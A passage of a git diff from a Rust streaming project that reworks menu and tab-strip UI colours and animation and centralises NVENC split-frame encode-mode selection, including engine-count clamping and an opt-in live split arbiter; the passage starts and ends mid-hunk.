let target = (focused_center - view_h / 2.0).clamp(0.0, (content_h - view_h).max(0.0)); - self.scroll = approach(self.scroll, target, dt, 0.08); + self.scroll = if std::mem::take(&mut self.snap) { + target + } else { + approach(self.scroll, target, dt, 0.08) + }; let row_w = (ROW_MAX_W * k).min(f64::from(rect.width()) - 48.0 * k); let x0 = f64::from(rect.left) + (f64::from(rect.width()) - row_w) / 2.0; @@ -184,7 +209,7 @@ impl MenuList { W::SemiBold, 12.0 * k, 1.4 * k, - white(0.45), + fg(0.45), ); } // Focus scale eases 0.98 → 1.0 about the row center. @@ -201,9 +226,9 @@ impl MenuList { PanelStroke::Plain(0.06 + 0.22 * f as f32) }; let tint = if row.caret { - Some(brand(0.30)) + Some(accent(0.30)) } else if f > 0.01 { - Some(brand(0.30 * f as f32)) + Some(accent(0.30 * f as f32)) } else { None }; @@ -212,7 +237,7 @@ impl MenuList { let baseline = cy + 16.0 * k * 0.36; if row.value.is_none() { // Action row: centered label, brand when actionable. - let color = if row.enabled { BRAND } else { FAINT }; + let color = if row.enabled { accent(1.0) } else { fg(0.35) }; let tw = fonts.measure(&row.label, W::SemiBold, 16.0 * k) as f64; fonts.draw( canvas, @@ -231,15 +256,15 @@ impl MenuList { baseline, W::SemiBold, 16.0 * k, - if row.enabled { WHITE } else { DIM }, + if row.enabled { fg(1.0) } else { fg(0.55) }, ); let value = row.value.as_deref().unwrap_or_default(); let vcolor = if row.value_dim { - FAINT + fg(0.35) } else if f > 0.5 { - WHITE + fg(1.0) } else { - white(0.6 + 0.4 * f as f32) + fg(0.6 + 0.4 * f as f32) }; let chevron_w = if row.adjustable { 18.0 * k } else { 0.0 }; let caret_w = if row.caret { 8.0 * k } else { 0.0 }; @@ -257,7 +282,7 @@ impl MenuList { (2.0 * k) as f32, (18.0 * k) as f32, ), - &Paint::new(BRAND, None), + &Paint::new(accent(1.0), None), ); } if row.adjustable && f > 0.01 { @@ -272,6 +297,98 @@ impl MenuList { } } +// --- Tab strip --------------------------------------------------------------------------- + +/// The strip's design height, including the air under it before the first row. +pub(crate) const TAB_STRIP_H: f64 = 46.0; + +/// The horizontal section switcher above a menu list. Purely presentational — the SCREEN +/// owns which tab is selected and what the shoulders do; this draws the pills and slides +/// one highlight between them, so switching sections reads as travel rather than a swap. +pub(crate) struct TabStrip { + /// Chased highlight geometry `(x, width)` in device px. `None` until the first render, + /// so a freshly opened screen doesn't animate its highlight in from x = 0. + indicator: Option<(f64, f64)>, +} + +impl TabStrip { + pub(crate) fn new() -> TabStrip { + TabStrip { indicator: None } + } + + /// Draw the pills centered in `rect`'s top band. Returns nothing — the caller already + /// knows the band is [`TAB_STRIP_H`] tall. + #[allow(clippy::too_many_arguments)] // the crate's render signature, same as MenuList's + pub(crate) fn render( + &mut self, + canvas: &Canvas, + rect: Rect, + labels: &[&str], + selected: usize, + fonts: &Fonts, + k: f64, + dt: f64, + ) { + if labels.is_empty() { + return; + } + let size = 13.0 * k; + let pad_x = 13.0 * k; + let gap = 7.0 * k; + let pill_h = 30.0 * k; + let widths: Vec = labels + .iter() + .map(|l| f64::from(fonts.measure(l, W::SemiBold, size)) + 2.0 * pad_x) + .collect(); + let total: f64 = widths.iter().sum::() + gap * (labels.len() - 1) as f64; + let mut x = f64::from(rect.left) + (f64::from(rect.width()) - total) / 2.0; + let top = f64::from(rect.top) + 2.0 * k; + + // Where the highlight wants to be, then the eased position it actually draws at. + let sel = selected.min(labels.len() - 1); + let target = ( + x + widths[..sel].iter().sum::() + gap * sel as f64, + widths[sel], + ); + let (ix, iw) = match self.indicator { + None => target, + Some((cx, cw)) => ( + approach(cx, target.0, dt, 0.07), + approach(cw, target.1, dt, 0.07), + ), + }; + self.indicator = Some((ix, iw)); + crate::theme::panel( + canvas, + Rect::from_xywh(ix as f32, top as f32, iw as f32, pill_h as f32), + (pill_h / 2.0 / k) as f32, + Some(accent(0.85)), + PanelStroke::Plain(0.22), + k as f32, + ); + + let baseline = top + pill_h / 2.0 + size * 0.36; + for (i, label) in labels.iter().enumerate() { + // Fade each label toward white by how much the highlight actually covers it, so + // the two labels a sliding highlight passes between light up together. + let pill_x = x; + let overlap = (pill_x + widths[i]).min(ix + iw) - pill_x.max(ix); + let covered = (overlap / widths[i]).clamp(0.0, 1.0) as f32; + let tw = f64::from(fonts.measure(label, W::SemiBold, size)); + fonts.draw( + canvas, + label, + pill_x + (widths[i] - tw) / 2.0, + baseline, + W::SemiBold, + size, + fg(0.5 + 0.5 * covered), + ); + x += widths[i] + gap; + } + } +} + /// Middle-of-nowhere helper: drop chars from the FRONT until the tail fits. fn truncate_head(fonts: &Fonts, text: &str, w: W, size: f64, max_w: f64) -> String { if f64::from(fonts.measure(text, w, size)) <= max_w { @@ -290,7 +407,7 @@ fn truncate_head(fonts: &Fonts, text: &str, w: W, size: f64, max_w: f64) -> Stri fn chevron(canvas: &Canvas, x: f64, cy: f64, r: f64, left: bool, alpha: f32) { let dir = if left { -1.0 } else { 1.0 }; - let mut p = Paint::new(white(alpha), None); + let mut p = Paint::new(fg(alpha), None); p.set_style(skia_safe::PaintStyle::Stroke); p.set_stroke_width((1.8 * r / 4.0) as f32); p.set_stroke_cap(skia_safe::PaintCap::Round); @@ -477,7 +594,7 @@ impl Keyboard { let focused = r == self.row && c == self.col; let kr = Rect::from_xywh(x as f32, y as f32, key_w as f32, key_h as f32); let fill = if focused { - let mut b = BRAND; + let mut b = accent(1.0); if self.key_flash > 0.02 { // A just-typed key flashes brighter, then eases back. let f = self.key_flash as f32; @@ -490,16 +607,18 @@ impl Keyboard { } b } else { - white(0.08) + fg(0.08) }; canvas.draw_rrect( RRect::new_rect_xy(kr, (9.0 * k) as f32, (9.0 * k) as f32), &Paint::new(fill, None), ); + // The focused key is filled with the accent, so its letter needs ink that + // reads on THAT, not on the field. let ink = if focused { - skia_safe::Color4f::new(0.0, 0.0, 0.0, 1.0) + crate::theme::on_accent() } else { - WHITE + fg(1.0) }; let (cx, cy) = (x + key_w / 2.0, y + key_h / 2.0); match key { diff --git a/crates/pf-encode/src/enc/codec.rs b/crates/pf-encode/src/enc/codec.rs index b09ebf3b..f74c8937 100644 --- a/crates/pf-encode/src/enc/codec.rs +++ b/crates/pf-encode/src/enc/codec.rs @@ -443,6 +443,20 @@ pub trait Encoder: Send { /// flagged [`EncodedFrame::chunk_aligned`] and the session marks them on the wire. /// Default: no-op (the H.26x backends' bitstreams cannot be cut losslessly). fn set_wire_chunking(&mut self, _shard_payload: usize) {} + /// How long a whole AU's packets currently take to leave the socket (µs, smoothed) — the + /// host's paced-send `spread_us`. + /// + /// Exists for ONE decision, and only the host can supply it. The Linux direct-NVENC split + /// arbitration compares single-engine against split, but on HEVC engaging split costs + /// sub-frame readback, and sub-frame's whole value is that the send overlaps the encode. So + /// the real comparison is `encode_1eng + send_of_last_slice` against + /// `encode_2eng + send_of_whole_AU`, and an encoder that measures only encode time would + /// reliably pick split and make end-to-end latency WORSE. The backend turns this number into + /// that handicap (it knows its own slice count); the host just reports what it observes. + /// + /// Optional by design: a backend that ignores it simply never arbitrates the sub-frame trade, + /// which is the safe direction. `0` = unknown / not reported yet. + fn set_send_spread_us(&mut self, _us: u32) {} /// How many frames the CAPTURER guarantees the encoder may hold in flight before it starts /// reusing an input texture (`Capturer::pipeline_depth`). Backends that encode the capturer's /// textures IN PLACE — no `CopyResource` — must not pipeline deeper than this: the capturer @@ -504,7 +518,7 @@ impl Codec { } /// Pixel rate (luma samples/s) at or above which NVENC split-frame encoding is FORCED 2-way — -/// one number shared by the direct-SDK selector (`nvenc_core::resolve_split_mode`) and the libav +/// one number shared by the direct-SDK selector ([`resolve_split_mode`]) and the libav /// `split_encode_mode` option author (`linux::NvencEncoder`), so the two paths can never disagree /// about which modes split. A single NVENC engine tops out ~1 Gpix/s on HEVC, and AUTO doesn't /// engage below ~2112 px height, so the sessions that need the second engine must be forced. Set @@ -514,6 +528,166 @@ impl Codec { /// comfortably single-engine) on AUTO. pub const SPLIT_FORCE_PIXEL_RATE: u64 = 950_000_000; +/// The `NV_ENC_SPLIT_ENCODE_MODE` values, as plain constants. +/// +/// They live HERE, not in `nvenc_core`, because the split policy below has to be shared with the +/// **libav** NVENC path — which compiles with the `nvenc` feature OFF (that is the whole +/// `PUNKTFUNK_NVENC_DIRECT=0` / featureless-package build), where the SDK enum does not exist. +/// One policy, no drift, was the point of extracting it; gating it behind the feature would have +/// left the libav copy free to diverge again, which is exactly what it had already done. +/// +/// `nvenc_split_constants_match_the_sdk` (feature-gated) pins these against the real enum, so the +/// hand-written values cannot rot. +pub(crate) const SPLIT_AUTO: u32 = 0; +pub(crate) const SPLIT_AUTO_FORCED: u32 = 1; +pub(crate) const SPLIT_TWO_FORCED: u32 = 2; +pub(crate) const SPLIT_THREE_FORCED: u32 = 3; +pub(crate) const SPLIT_DISABLE: u32 = 15; + +/// Resolved NVENC split-frame encode mode for a session — ONE selector shared by the Windows and +/// Linux direct-SDK backends (they had drifted into byte-identical duplicates, one of which +/// logged and one didn't). Precedence: +/// 1. `PUNKTFUNK_SPLIT_ENCODE` = `0`/`disable` | `1`/`auto` (AUTO_FORCED) | `2` | `3` — operator +/// override, always wins, except that `2`/`3` are clamped to the GPU's real engine count (see +/// [`clamp_to_engines`]; the driver honours an over-ask and silently encodes narrower). +/// 2. Pixel rate ≥ [`SPLIT_FORCE_PIXEL_RATE`] → force the WIDEST split the GPU can deliver +/// ([`max_forced_split_mode`]), not a hard-coded 2 (AUTO never engages below ~2112 px height, +/// so 4K120 must be forced onto the other engines; and a 3-NVENC part left at 2-way wastes a +/// third of its encode silicon). +/// 3. **HEVC** Main10 below that bar → DISABLE: 2-way split measured SLOWER on Ada for Main10 — at +/// 5120×1440@240 forced-2 took 7.6 ms/frame (~131 fps) vs 2.8 ms (~357 fps) single-engine, the +/// "broken animations in HDR" cap. ⚠ This rule used to sit ABOVE the pixel-rate arm and take no +/// codec, so it (a) vetoed 10-bit **4K120** — the very case the pixel-rate arm exists for — and +/// (b) applied an HEVC-on-Ada result to **AV1 10-bit**, which has no such measurement. Both +/// fixed; what remains is a conservative default in the regime where a second engine buys +/// nothing anyway. +/// ⚠⚠ **UNVALIDATED CONSEQUENCE:** 5120×1440@240 Main10 (1.77 Gpix/s) now clears the pixel-rate +/// bar and WILL be forced to split — i.e. the exact configuration that measurement came from +/// flips behaviour. That is deliberate (the datapoint is one sample, at low bits/frame, and the +/// bits/frame hypothesis predicts it should not generalise) but it is **the first thing to +/// re-measure on Ada**; `PUNKTFUNK_SPLIT_ENCODE=0` is the escape if it regresses. +/// 4. Else AUTO — ⚠ whose behaviour is **conditional on sub-frame**, measured on `.21` at 4K: +/// - sub-frame **ON** (the fleet default): AUTO **does not split** — 5023/5157 µs against +/// DISABLE's 4979/5000. Split and sub-frame are mutually unsupported for HEVC, so the driver +/// resolves AUTO to no-split and this arm silently means DISABLE. +/// - sub-frame **OFF**: AUTO **does split** — 2401/2352 µs against TWO_FORCED's 2319/2378. +/// +/// So AUTO is NOT dead in general and must not be retired: doing so would lose a real split on +/// every sub-frame-off session. It is dead only in the sub-frame-on combination, which +/// [`resolve_split_subframe`] logs rather than silently accepting. +/// +/// The caller still owns the rejection fallback (retry split-disabled) — a codec/config that +/// rejects the chosen mode downgrades at open, not here. +/// +/// `engines` is the GPU's `NV_ENC_CAPS_NUM_ENCODER_ENGINES`; pass `0` when it could not be probed +/// (treated as "unknown", which keeps the pre-probe behaviour of assuming a second engine exists +/// and letting the open-time rejection fallback sort it out). +pub(crate) fn resolve_split_mode( + codec: Codec, + bit_depth: u8, + pixel_rate: u64, + engines: u32, +) -> u32 { + let hw_max = max_forced_split_mode(engines); + let mode = match std::env::var("PUNKTFUNK_SPLIT_ENCODE").ok().as_deref() { + Some("0") | Some("disable") => SPLIT_DISABLE, + Some("1") | Some("auto") => SPLIT_AUTO_FORCED, + Some("3") => clamp_to_engines(SPLIT_THREE_FORCED, hw_max, engines), + Some("2") => clamp_to_engines(SPLIT_TWO_FORCED, hw_max, engines), + // Use every engine the card has, not a hard-coded two: on a 3-NVENC part (GB202, AD102 + // workstation) forcing 2 leaves a third of the silicon idle. + // + // ⚠ This arm now comes FIRST, ahead of the 10-bit rule. That reordering is the D1 fix: a + // 10-bit 4K120 session (995.3 Mpix/s) used to be vetoed by the depth rule before ever + // reaching the pixel-rate arm written for exactly it. + _ if pixel_rate >= SPLIT_FORCE_PIXEL_RATE => hw_max, + // Below that bar, HEVC Main10 keeps the conservative single-engine default. The one Ada + // measurement we have says split can be *slower* for Main10, and nothing under this bar + // needs a second engine anyway — so the cost of being wrong here is ~nil, unlike above it. + // + // ⚠ Now codec-scoped (the D2 fix): the measurement behind this was HEVC Main10 on Ada, and + // it used to veto **AV1 10-bit** too, which has neither the sub-frame conflict nor any + // measurement against it. + _ if codec == Codec::H265 && bit_depth >= 10 => SPLIT_DISABLE, + _ => SPLIT_AUTO, + }; + tracing::debug!( + split_mode = mode, + ?codec, + bit_depth, + pixel_rate, + engines, + "NVENC split-encode mode selected" + ); + mode +} + +/// The strongest split mode this GPU's engine count can actually deliver. +/// +/// ⚠ **The driver will NOT tell you when you over-ask.** Measured on `.21` (RTX 5070 Ti, 2 NVENC, +/// driver 610.57.04, 4K HEVC): requesting `THREE_FORCED` was **HONOURED** — session opened in mode +/// 3 — and ran at **2303 µs/frame, identical to `TWO_FORCED`'s 2308**. No rejection, no warning, +/// no third engine; just a log line claiming 3-way over a 2-way encode. So the rejection fallback +/// cannot be relied on to find the ceiling and the clamp has to happen here. +/// +/// `NV_ENC_SPLIT_ENCODE_MODE` can only *name* counts up to three (SDK 0.4.0 / NVENCAPI 12.1; +/// values 4..14 are unallocated, so a future API may extend it). Above that we fall back to +/// `AUTO_FORCED` = "split, driver picks how many", which measurably does force a split (2.01× vs +/// disabled on the same box) and is the only way to express "use everything you have". +pub(crate) fn max_forced_split_mode(engines: u32) -> u32 { + match engines { + // Unknown (cap unreadable / not probed): keep the historical assumption of a second + // engine and let the open-time rejection fallback correct it. + 0 => SPLIT_TWO_FORCED, + 1 => SPLIT_DISABLE, + 2 => SPLIT_TWO_FORCED, + 3 => SPLIT_THREE_FORCED, + // More engines than the enum can name — let the driver use them all. + _ => SPLIT_AUTO_FORCED, + } +} + +/// The N of an N-way FORCED split, or `None` for the modes that do not name a width +/// (`DISABLE`, plain `AUTO`, and `AUTO_FORCED` — the last forces a split but lets the driver +/// choose how wide). +/// +/// For callers that can only express "split this many ways" and have no vocabulary for our other +/// modes — the libav path, whose `split_encode_mode` AVOption is libavcodec's own enum, not the +/// NVENC one (our `DISABLE` is `15`, which would be meaningless there). +// Linux-only: its sole caller is the libav NVENC path (`enc/linux/mod.rs`). `codec.rs` compiles +// everywhere, so without this it is dead code on Windows — the same item-level `dead_code` +// trap this crate has now hit three times (see `subframe_env_forced`, and the arbiter items in +// `nvenc_core`). Caught by the `.133` check, never by reasoning about it. +#[cfg(target_os = "linux")] +pub(crate) fn forced_split_width(mode: u32) -> Option { + match mode { + m if m == SPLIT_TWO_FORCED => Some(2), + m if m == SPLIT_THREE_FORCED => Some(3), + _ => None, + } +} + +/// Hold an operator's `PUNKTFUNK_SPLIT_ENCODE=2|3` to what the hardware can deliver, loudly. +/// Without this the knob silently lies (see [`max_forced_split_mode`]); an override that asks for +/// more engines than exist is a mistake worth surfacing, not honouring. +pub(crate) fn clamp_to_engines(requested: u32, hw_max: u32, engines: u32) -> u32 { + // Only the named N-way modes are ordered; `hw_max` may be AUTO_FORCED (1) on a >3-engine part, + // which is not "less than" TWO_FORCED and must not clamp a legitimate request down. + let named = |m: u32| (2..=3).contains(&m); + if engines != 0 && named(requested) && named(hw_max) && requested > hw_max { + tracing::warn!( + requested, + engines, + using = hw_max, + "PUNKTFUNK_SPLIT_ENCODE asks for more NVENC engines than this GPU has — clamping. \ + (The driver would ACCEPT the over-ask and silently encode with fewer, so the log \ + would otherwise claim a split width that never happened.)" + ); + return hw_max; + } + requested +} + /// `PUNKTFUNK_VBV_FRAMES` — HRD/VBV size in frame intervals (default 1.0, the strict low-latency /// shape every backend ships: each frame must fit its rate share, keeping frame sizes uniform for /// the pacer). The AMF/VAAPI/QSV paths parse the same variable locally; this helper brings the diff --git a/crates/pf-encode/src/enc/linux/mod.rs b/crates/pf-encode/src/enc/linux/mod.rs index af9e5b65..ab783e9d 100644 --- a/crates/pf-encode/src/enc/linux/mod.rs +++ b/crates/pf-encode/src/enc/linux/mod.rs @@ -476,13 +476,22 @@ impl NvencEncoder { opts.set("profile", "main10"); } - // Split-frame encode across both NVENC engines (GB203 has 2) when the pixel rate exceeds - // a single engine's HEVC capacity; e.g. 5120x1440@240 = 1.77 Gpix/s needs it, @120 - // (0.88 Gpix/s) does not. HEVC/AV1 only (not H.264). AUTO won't engage below ~2112px - // height, so we force `2`; below the threshold we leave it AUTO (split costs ~2% BD-rate). - // Threshold shared with the direct-SDK selector ([`super::SPLIT_FORCE_PIXEL_RATE`] — set - // so 4K120 = 995.3 Mpix/s forces, which `> 1e9` famously missed by 0.47%). Output is - // standard HEVC — transparent to the client. Override with PUNKTFUNK_SPLIT_ENCODE. + // Split-frame encode across the GPU's NVENC engines. WP4: the policy is no longer + // duplicated here — it comes from the SAME [`resolve_split_mode`] the two direct-SDK + // backends use, so the pixel-rate threshold, the codec scoping and the (dropped) 10-bit + // short circuit cannot drift between the libav path and the rest. This copy had already + // diverged: it hard-coded a 2-way split regardless of engine count and carried no depth + // rule at all. + // + // ⚠ Only the FORCED outcomes are actionable here. libavcodec's `split_encode_mode` + // AVOption is its own vocabulary, and our `DISABLE` is the NVENC enum's `15` — passing + // that through would be meaningless to it (or fail the open). `DISABLE`/`AUTO` therefore + // both mean "leave the option unset", which is exactly today's behaviour: unset = the + // driver's own auto. + // + // ⚠ `engines = 0` = "not probed": the libav path has no caps probe of its own, and + // [`max_forced_split_mode`] maps unknown to 2-way, preserving what this site always did. + // A 3-NVENC part gets the wider split only on the direct-SDK path. let pix_rate = width as u64 * height as u64 * fps as u64; let split = std::env::var("PUNKTFUNK_SPLIT_ENCODE").ok(); match split.as_deref() { @@ -497,14 +506,17 @@ impl NvencEncoder { "PUNKTFUNK_SPLIT_ENCODE ignored — split encoding is not applicable to H.264 \ (nvEncodeAPI.h)" ), - None if matches!(codec, Codec::H265 | Codec::Av1) - && pix_rate >= super::SPLIT_FORCE_PIXEL_RATE => - { - opts.set("split_encode_mode", "2"); - tracing::info!( - pix_rate, - "NVENC: forcing 2-way split encode (high pixel rate)" - ); + None if matches!(codec, Codec::H265 | Codec::Av1) => { + let resolved = super::resolve_split_mode(codec, bit_depth, pix_rate, 0); + if let Some(n) = super::forced_split_width(resolved) { + opts.set("split_encode_mode", &n.to_string()); + tracing::info!( + pix_rate, + bit_depth, + split_encode_mode = n, + "NVENC (libav): forcing split encode (shared selector)" + ); + } } None => {} } diff --git a/crates/pf-encode/src/enc/linux/nvenc_cuda.rs b/crates/pf-encode/src/enc/linux/nvenc_cuda.rs index 56d15b33..f1a80847 100644 --- a/crates/pf-encode/src/enc/linux/nvenc_cuda.rs +++ b/crates/pf-encode/src/enc/linux/nvenc_cuda.rs @@ -67,11 +67,13 @@ #![deny(clippy::undocumented_unsafe_blocks)] use super::nvenc_core::{ - apply_low_latency_config, build_init_params, cached_ceiling, codec_guid, plan_range_recovery, - resolve_slices, resolve_split_mode, resolve_split_subframe, resolve_subframe, store_ceiling, - subframe_env_forced, CeilingKey, LowLatencyConfig, NvStatusExt, RangePlan, + apply_low_latency_config, build_init_params, cached_ceiling, cached_split_verdict, codec_guid, + plan_range_recovery, resolve_slices, resolve_split_subframe, resolve_subframe, store_ceiling, + store_split_verdict, subframe_env_forced, ArbAction, CeilingKey, LowLatencyConfig, NvStatusExt, + RangePlan, SplitArbiter, SplitKey, }; use super::nvenc_status; +use super::{max_forced_split_mode, resolve_split_mode}; use super::{AuChunk, ChromaFormat, Codec, EncodedFrame, Encoder, EncoderCaps}; use anyhow::{anyhow, bail, Context, Result}; use pf_frame::{CapturedFrame, FramePayload}; @@ -821,6 +823,25 @@ pub struct NvencCudaEncoder { /// Sub-frame chunked poll armed for the live session (§7 LN1 Phase 1): multi-slice + /// sub-frame readback configured AND sync retrieve at init. See [`Encoder::poll_chunk`]. subframe_chunks: bool, + /// `NV_ENC_CAPS_NUM_ENCODER_ENGINES` — how many NVENC engines this GPU has, probed in + /// [`query_caps`]. `0` = not probed / unreadable. The split-encode ceiling: the driver accepts + /// a split wider than the hardware and silently encodes narrower, so this is the only honest + /// source for how wide we may go (see `codec::max_forced_split_mode`). + encoder_engines: u32, + /// Submit stamp for the split arbiter's per-frame cost (sync depth-1 path only). + last_submit_at: Option, + /// Whole-AU paced-send time (µs) the host last reported, via + /// [`Encoder::set_send_spread_us`]. `0` = never reported, which keeps the arbiter out of the + /// sub-frame trade entirely (it cannot price what it cannot see). + send_spread_us: u32, + /// Sub-frame state the session was OPENED able to run — what `resolve_subframe` decided from + /// the caps probe and the env. `subframe_on` moves as the arbiter flips arms; this does not, + /// so a return to a non-forced split can restore sub-frame without re-deriving it (and + /// without ever turning it on for a session that never had it). + subframe_opened_with: bool, + /// The live split-mode experiment, when one is running. `None` = not arbitrating (gated off, + /// already decided this process, or the config is one we refuse to arbitrate). + arbiter: Option, /// In-progress chunked readback of the front in-flight AU. See [`ChunkState`]. chunk: Option, } @@ -909,6 +930,11 @@ impl NvencCudaEncoder { subframe_on: false, subframe_forced: false, subframe_chunks: false, + encoder_engines: 0, + last_submit_at: None, + send_spread_us: 0, + subframe_opened_with: false, + arbiter: None, chunk: None, }) } @@ -1081,6 +1107,10 @@ impl NvencCudaEncoder { // consumed when slice-level readback lands. Not stored — LN1 re-probes when it configures. let subframe = self.get_cap(enc, nv::NV_ENC_CAPS::NV_ENC_CAPS_SUPPORT_SUBFRAME_READBACK); let dyn_slice = self.get_cap(enc, nv::NV_ENC_CAPS::NV_ENC_CAPS_SUPPORT_DYNAMIC_SLICE_MODE); + // How many NVENC engines this GPU has — the split-encode ceiling. Must be probed rather + // than inferred from a rejection: the driver ACCEPTS a split wider than the hardware and + // silently encodes narrower (measured on `.21`, see `max_forced_split_mode`). + let engines = self.get_cap(enc, nv::NV_ENC_CAPS::NV_ENC_CAPS_NUM_ENCODER_ENGINES); let _ = (api().destroy_encoder)(enc); if wmax > 0 && hmax > 0 && (self.width as i32 > wmax || self.height as i32 > hmax) { @@ -1100,6 +1130,7 @@ impl NvencCudaEncoder { self.rfi_supported = rfi != 0; self.custom_vbv = custom_vbv != 0; self.subframe_cap = subframe != 0; + self.encoder_engines = engines.max(0) as u32; // Phase-3 default-on (nvenc-subframe-slice-output.md): 4 slices + sub-frame readback on // every Linux direct-NVENC session, resolved HERE (before the session opens) so the // config author, the init params and the chunked-poll latch all agree; the caps probe @@ -1334,7 +1365,25 @@ impl NvencCudaEncoder { // 2-way NVENC split-frame encoding (Ada dual-NVENC) — shared selector, see // [`resolve_split_mode`] for the precedence (env override / 10-bit / pixel rate). let pixel_rate = self.width as u64 * self.height as u64 * self.fps.max(1) as u64; - let split_mode: u32 = resolve_split_mode(self.bit_depth, pixel_rate); + let mut split_mode: u32 = + resolve_split_mode(self.codec, self.bit_depth, pixel_rate, self.encoder_engines); + // A verdict this process already measured for this exact config wins over the static + // rule — that is the whole point of arbitrating, and it lets later sessions skip the + // ~1 s experiment. An operator pin still beats both (checked inside `resolve_split_mode`, + // so only consult the cache when the knob is unset). + if std::env::var_os("PUNKTFUNK_SPLIT_ENCODE").is_none() { + if let Some(known) = cached_split_verdict(&self.split_key()) { + if known != split_mode { + tracing::info!( + from = split_mode, + to = known, + "NVENC: using the split mode a previous arbitration measured as \ + fastest for this config" + ); + } + split_mode = known; + } + } // Split × sub-frame arbitration (Phase 8) BEFORE the ladder, the ceiling key and the // chunked-poll latch — all three must see the post-arbitration truth (a drop inside // build_init_params would leave poll_chunk busy-polling its whole budget per AU). @@ -1345,6 +1394,7 @@ impl NvencCudaEncoder { self.subframe_forced, ); self.subframe_on = subframe_on; + self.subframe_opened_with = subframe_on; const CLAMP_TOL_BPS: u64 = 20_000_000; // Ceiling cache (process lifetime, `nvenc_core`): a prior clamp search already found @@ -1639,12 +1689,183 @@ impl NvencCudaEncoder { // INFO+, and "did 4K120 actually split across engines?" was undiagnosable from // a user log without it (Windows only had a debug! at selection time). split_mode = self.split_mode, + // …and how many engines the GPU HAS, so `split_mode` can be read against the + // ceiling it was chosen from. Without it a log showing split_mode=2 is ambiguous + // between "used both engines" and "left a third engine idle", and the driver + // silently honours an over-wide request, so the mode alone cannot be trusted. + engines = self.encoder_engines, + subframe = self.subframe_on, "NVENC CUDA session ready" ); + self.arm_split_arbiter(); Ok(()) } } + /// Decide whether this session may run a live split experiment, and arm it if so. + /// + /// Opt-in (`PUNKTFUNK_NVENC_SPLIT_ARBITRATE=1`) while it earns trust. Every other gate is a + /// correctness condition, not a preference: + /// + /// - **Operator pin wins.** `PUNKTFUNK_SPLIT_ENCODE` set ⇒ never arbitrate; a pinned mode is an + /// instruction, and an A/B that overrides it would make the knob useless for exactly the + /// debugging it exists for. + /// - **Already decided.** A cached verdict for this config was applied at open; re-running the + /// experiment every session would pay its cost forever. + /// - **Sync depth-1 only** (`async_rt.is_none()`), the same gate chunked poll uses: the + /// per-frame cost is measured as submit → AU, which is only the encode on this path. Under + /// pipelined retrieve that span includes queue depth and the comparison would be noise. + /// - **Needs a second engine**, and split must be applicable at all (never H.264). + /// - ⚠ **No sub-frame trade.** For HEVC, forcing split gives up sub-frame readback, which costs + /// send/encode overlap the ENCODER CANNOT SEE — it measures encode time only, so it would + /// reliably prefer split and silently make end-to-end latency worse. So we arbitrate only + /// where nothing is traded: sub-frame already off, or AV1 (where both features are legal). + /// Pricing that trade needs the host's send cost and is the next work package. + fn arm_split_arbiter(&mut self) { + if !matches!( + std::env::var("PUNKTFUNK_NVENC_SPLIT_ARBITRATE").as_deref(), + Ok("1") + ) { + return; + } + if std::env::var_os("PUNKTFUNK_SPLIT_ENCODE").is_some() + || cached_split_verdict(&self.split_key()).is_some() + || self.async_rt.is_some() + || self.encoder_engines < 2 + || self.codec == Codec::H264 + { + return; + } + // Losing sub-frame costs the send/encode overlap: without it the AU's last byte waits for + // the WHOLE send instead of just the final slice, so the challenger owes roughly + // `spread × (slices−1)/slices`. Priced here because only the encoder knows `slices`; the + // host reports the raw spread. + let handicap_us = if self.subframe_on && self.codec != Codec::Av1 { + if self.send_spread_us == 0 || self.slices < 2 { + tracing::debug!( + "NVENC split arbitration skipped: engaging split would cost sub-frame readback \ + and no send-spread has been reported, so the trade cannot be priced — an \ + encode-only comparison would take the arm that looks fastest and lose \ + end-to-end" + ); + return; + } + let slices = self.slices as u64; + self.send_spread_us as u64 * (slices - 1) / slices + } else { + 0 + }; + // Pick the challenger that tests the question worth asking: "are we leaving engines idle?" + // So anything that is not already the widest forced split is challenged BY the widest, and + // only a session already there is challenged by single-engine ("is splitting even helping + // here?"). + // + // ⚠ Not "whatever we are not": with the fallthrough `AUTO` incumbent that a 4K60 session + // gets, the naive version challenged with DISABLE and spent the experiment re-proving that + // splitting beats not-splitting — while parking the session on the slow arm to do it. + let disable = nv::NV_ENC_SPLIT_ENCODE_MODE::NV_ENC_SPLIT_DISABLE_MODE as u32; + let widest = max_forced_split_mode(self.encoder_engines); + let challenger = if self.split_mode == widest { + disable + } else { + widest + }; + if challenger == self.split_mode { + return; + } + tracing::info!( + incumbent = self.split_mode, + challenger, + handicap_us, + send_spread_us = self.send_spread_us, + "NVENC split arbitration armed — measuring both arms on the live session (no IDR)" + ); + self.arbiter = Some(SplitArbiter::with_handicap( + self.split_mode, + challenger, + handicap_us, + )); + } + + /// The config identity this session's split verdict is cached under. + fn split_key(&self) -> SplitKey { + SplitKey { + gpu: self.cu_ctx as u64, + codec: self.codec, + width: self.width, + height: self.height, + fps: self.fps, + bit_depth: self.bit_depth, + chroma_444: self.chroma_444, + } + } + + /// Move the LIVE session to `mode` without an IDR — spike S1 proved `nvEncReconfigureEncoder` + /// takes a changed `splitEncodeMode` with `resetEncoder=0`, emits no keyframe, and actually + /// applies it. Reuses the bitrate reconfigure path at the CURRENT rate, so only the split mode + /// moves. Returns whether the driver accepted it; on refusal the field is restored so the + /// encoder's idea of its own session stays truthful. + fn apply_split_mode(&mut self, mode: u32) -> bool { + let (prev_mode, prev_sub, prev_chunks) = + (self.split_mode, self.subframe_on, self.subframe_chunks); + // Sub-frame rides along: HEVC cannot hold both, so a forced split must drop it and a + // return to non-forced may take it back (only up to what the session was opened able to + // do — `subframe_cap`/`resolve_subframe` decided that once, at open). + let (mode, subframe) = resolve_split_subframe( + self.codec, + mode, + self.subframe_opened_with, + self.subframe_forced, + ); + self.split_mode = mode; + self.subframe_on = subframe; + // ⚠ The latch `reconfigure_bitrate` does NOT recompute (spike S1c): leave it stale and + // `supports_chunked_poll` keeps saying yes while `numSlices` never advances, so + // `poll_chunk` busy-polls its entire budget every AU. + self.subframe_chunks = self.slices >= 2 && subframe && self.async_rt.is_none(); + if self.reconfigure_bitrate(self.bitrate_bps) { + true + } else { + tracing::warn!( + from = prev_mode, + to = mode, + "NVENC split arbitration: driver refused the in-place split change — staying put" + ); + self.split_mode = prev_mode; + self.subframe_on = prev_sub; + self.subframe_chunks = prev_chunks; + false + } + } + + /// Feed one frame's encode cost to the split arbiter and act on its verdict. + fn feed_split_arbiter(&mut self, encode_us: u64) { + let Some(arb) = self.arbiter.as_mut() else { + return; + }; + let action = arb.on_frame(encode_us); + let done = arb.is_done(); + match action { + Some(ArbAction::SwitchTo(mode)) => { + if !self.apply_split_mode(mode) { + // The experiment cannot proceed if the session will not move — abandon it + // rather than 